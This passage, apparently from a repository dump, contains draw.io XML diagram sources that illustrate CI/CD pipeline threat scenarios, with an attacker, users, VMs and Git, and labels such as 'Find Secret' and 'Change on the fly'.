style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"142\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"169\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-89\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"249\" y=\"277.68\" as=\"sourcePoint\" />\n            <mxPoint x=\"295\" y=\"277.68\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-91\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"261\" width=\"74\" height=\"34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"299.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-93\" value=\"\" style=\"image;sketch=0;aspect=fixed;html=1;points=[];align=center;fontSize=12;image=img/lib/mscae/App_Registrations.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"189\" y=\"261\" width=\"50\" height=\"50\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-94\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Artifact&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"186\" y=\"305\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/change.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:13:11.261Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"nKH0BHqsxYZHesD0NVE0\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"252.5\" y=\"155\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"241.5\" y=\"182\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"271.18\" y=\"254\" as=\"sourcePoint\" />\n            <mxPoint x=\"271.18\" y=\"218\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-89\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f5f5f5;strokeColor=#030303;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"249\" y=\"277.68\" as=\"sourcePoint\" />\n            <mxPoint x=\"295\" y=\"277.68\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-91\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f5f5f5;strokeColor=#666666;fontColor=#333333;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"261\" width=\"74\" height=\"34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"299.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-94\" value=\"&lt;span style=&quot;font-size: 8px;&quot;&gt;VMs&lt;/span&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"186\" y=\"305\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-95\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"196.9\" y=\"255.37000000000003\" width=\"38.2\" height=\"49.63\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-103\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Change on the fly&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"268\" y=\"220\" width=\"83\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/cicd-initial.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:33:26.141Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"lgQCHXX3T_01_PRmRjqU\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-2\" value=\"CI/CD Pipeline\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"266\" y=\"311\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"458\" y=\"249\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"451\" y=\"316\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"368\" y=\"272\" as=\"sourcePoint\" />\n            <mxPoint x=\"438\" y=\"272\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"457\" y=\"148\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"446\" y=\"187\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-11\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"476.68\" y=\"214\" as=\"sourcePoint\" />\n            <mxPoint x=\"476.68\" y=\"242\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-17\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"275\" y=\"258\" width=\"70\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-18\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"125\" y=\"234\" width=\"54.19\" height=\"70.41\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-19\" value=\"Infrastructure\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"108\" y=\"311\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-20\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"196\" y=\"276\" as=\"sourcePoint\" />\n            <mxPoint x=\"266\" y=\"276\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-21\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;exitX=0.25;exitY=1;exitDx=0;exitDy=0;\" edge=\"1\" parent=\"1\" source=\"b94HZelUpRPoaxA_aSND-8\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"486.68\" y=\"224\" as=\"sourcePoint\" />\n            <mxPoint x=\"370\" y=\"254\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/cred-key.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:02:17.431Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"o5LFR1TEvehNPCIzrLUP\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-78\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"118\" y=\"246\" width=\"275\" height=\"102\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"143\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"170\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-62\" value=\"\" style=\"sketch=0;outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"256.5\" width=\"30\" height=\"39\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Secret&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"200\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-73\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"225\" y=\"265.5\" width=\"74\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-74\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"142\" y=\"259\" width=\"37.4\" height=\"48.6\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-75\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"320\" y=\"307.6\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-76\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"232\" y=\"312\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-77\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"130.7\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/cred-serv.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:04:35.232Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"kVUb1YBrKKA7AI7z6j6G\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-78\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"121\" y=\"152\" width=\"275\" height=\"95\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"58\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"320\" y=\"85\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"347\" y=\"148\" as=\"sourcePoint\" />\n            <mxPoint x=\"347\" y=\"112\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-62\" value=\"\" style=\"sketch=0;outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;fillColor=#000000;fontColor=#ffffff;strokeColor=#6D1F00;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"256.5\" width=\"30\" height=\"39\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Service Credential&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"349\" y=\"115\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-73\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"225\" y=\"265.5\" width=\"74\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-74\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"142\" y=\"259\" width=\"37.4\" height=\"48.6\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-75\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"320\" y=\"307.6\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-76\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"232\" y=\"312\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-77\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"130.7\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-79\" value=\"\" style=\"whiteSpace=wrap;html=1;aspect=fixed;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"167\" width=\"28\" height=\"28\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-80\" value=\"\" 